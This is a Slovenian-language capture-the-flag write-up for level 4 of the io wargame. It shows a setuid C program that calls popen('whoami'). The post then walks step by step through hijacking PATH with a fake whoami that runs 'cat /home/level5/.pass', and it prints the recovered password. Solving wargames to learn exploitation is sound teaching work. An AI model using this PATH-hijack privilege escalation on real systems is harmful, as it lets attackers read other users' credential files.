CREATIVE CHAOS   ▋ blog / level04

PUBLISHED ON 15/02/2016 — EDITED ON 08/10/2019 — .SL, INFOSEC


Nekaj besed o četrti stopnji


$ ssh -l level4 -p2224
level4@io:/levels$ cat level04.c
//writen by bla
#include <stdlib.h>
#include <stdio.h>

int main() {
        char username[1024];
        FILE* f = popen("whoami","r");
        fgets(username, sizeof(username), f);
        printf("Welcome %s", username);

        return 0;


FILE *popen(const char *command, const char *type);

       The  popen()  function opens a process by creating a pipe, forking, and invoking the shell.  Since a pipe is by definition unidirectional, the type argument may specify
       only reading or writing, not both; the resulting stream is correspondingly read-only or write-only.

       The command argument is a pointer to a null-terminated string containing a shell command line.  This command is passed to /bin/sh using the -c flag; interpretation,  if
       any,  is  performed by the shell.  The type argument is a pointer to a null-terminated string which must contain either the letter 'r' for reading or the letter 'w' for
       writing.  Since glibc 2.9, this argument can additionally include the letter 'e', which causes the close-on-exec flag (FD_CLOEXEC) to be  set  on  the  underlying  file
       descriptor; see the description of the O_CLOEXEC flag in open(2) for reasons why this may be useful.

       The return value from popen() is a normal standard I/O stream in all respects save that it must be closed with pclose() rather than fclose(3).  Writing to such a stream
       writes to the standard input of the command; the command's standard output is the same as that of the process that called popen(), unless this is altered by the command
       itself.   Conversely,  reading  from  a  "popened"  stream reads the command's standard output, and the command's standard input is the same as that of the process that
       called popen().

       Note that output popen() streams are fully buffered by default.

       The pclose() function waits for the associated process to terminate and returns the exit status of the command as returned by wait4(2).


char *fgets(char *s, int size, FILE *stream);

       fgets() reads in at most one less than size characters from stream and stores them into the buffer pointed to by s.  Reading stops after an EOF or a newline.  If a new-
       line is read, it is stored into the buffer.  A terminating null byte ('\0') is stored after the last character in the buffer.


Program izvede ukaz v lupini in na zaslon izpise rezultat.

level4@io:/levels$ ./level04
Welcome level5

Izpis je logicen, saj je lastnik programa level5:

level4@io:/levels$ ls -la | grep level04
-r-sr-x---  1 level5  level4   5159 Dec 18  2013 level04

A bi lahko sami dolocili, kaj se v programu izvede namesto whoami? Naprimer cat /home/level5/.pass?

Nazalost programa ne moremo spreminjat, saj bi ob ponovnem prevajanju izgubili prednost tega, da je uporabnik level5 lastnik izvrsljive datoteke. Poiskati moramo drug nacin, brez dvoma pa je popen zabaven del programa.

Najprej ugotovimo kaj je whoami:

level4@io:/levels$ which whoami

level4@io:/levels$ echo $PATH

$PATH lahko nastavimo s pomocjo naslednjega ukaza:

export PATH=$PATH:direktorij

Naceloma lahko ustvarimo nek svoj direktorij, ki bo vseboval izvrsljivo datoteko whoami, ki bo dejansko izpisala geslo za naslednji nivo.

level4@io:/levels$ mkdir /tmp/direktorij
level4@io:/levels$ echo "cat /home/level5/.pass" > /tmp/direktorij/whoami
level4@io:/levels$ chmod 777 /tmp/direktorij/whoami

Nastavimo se $PATH, pomembno je da nas nov direktorij navedemo pred starimi, da pri pregledu najprej naleti na nas spremenjen whoami.

level4@io:/levels$ export PATH=/tmp/direktorij:$PATH

level4@io:/levels$ echo $PATH


Tokrat ce pozenemo program, dobimo kar izpisano geslo:

level4@io:/levels$ ./level04
Welcome DNLM3Vu0mZfX0pDd

See Also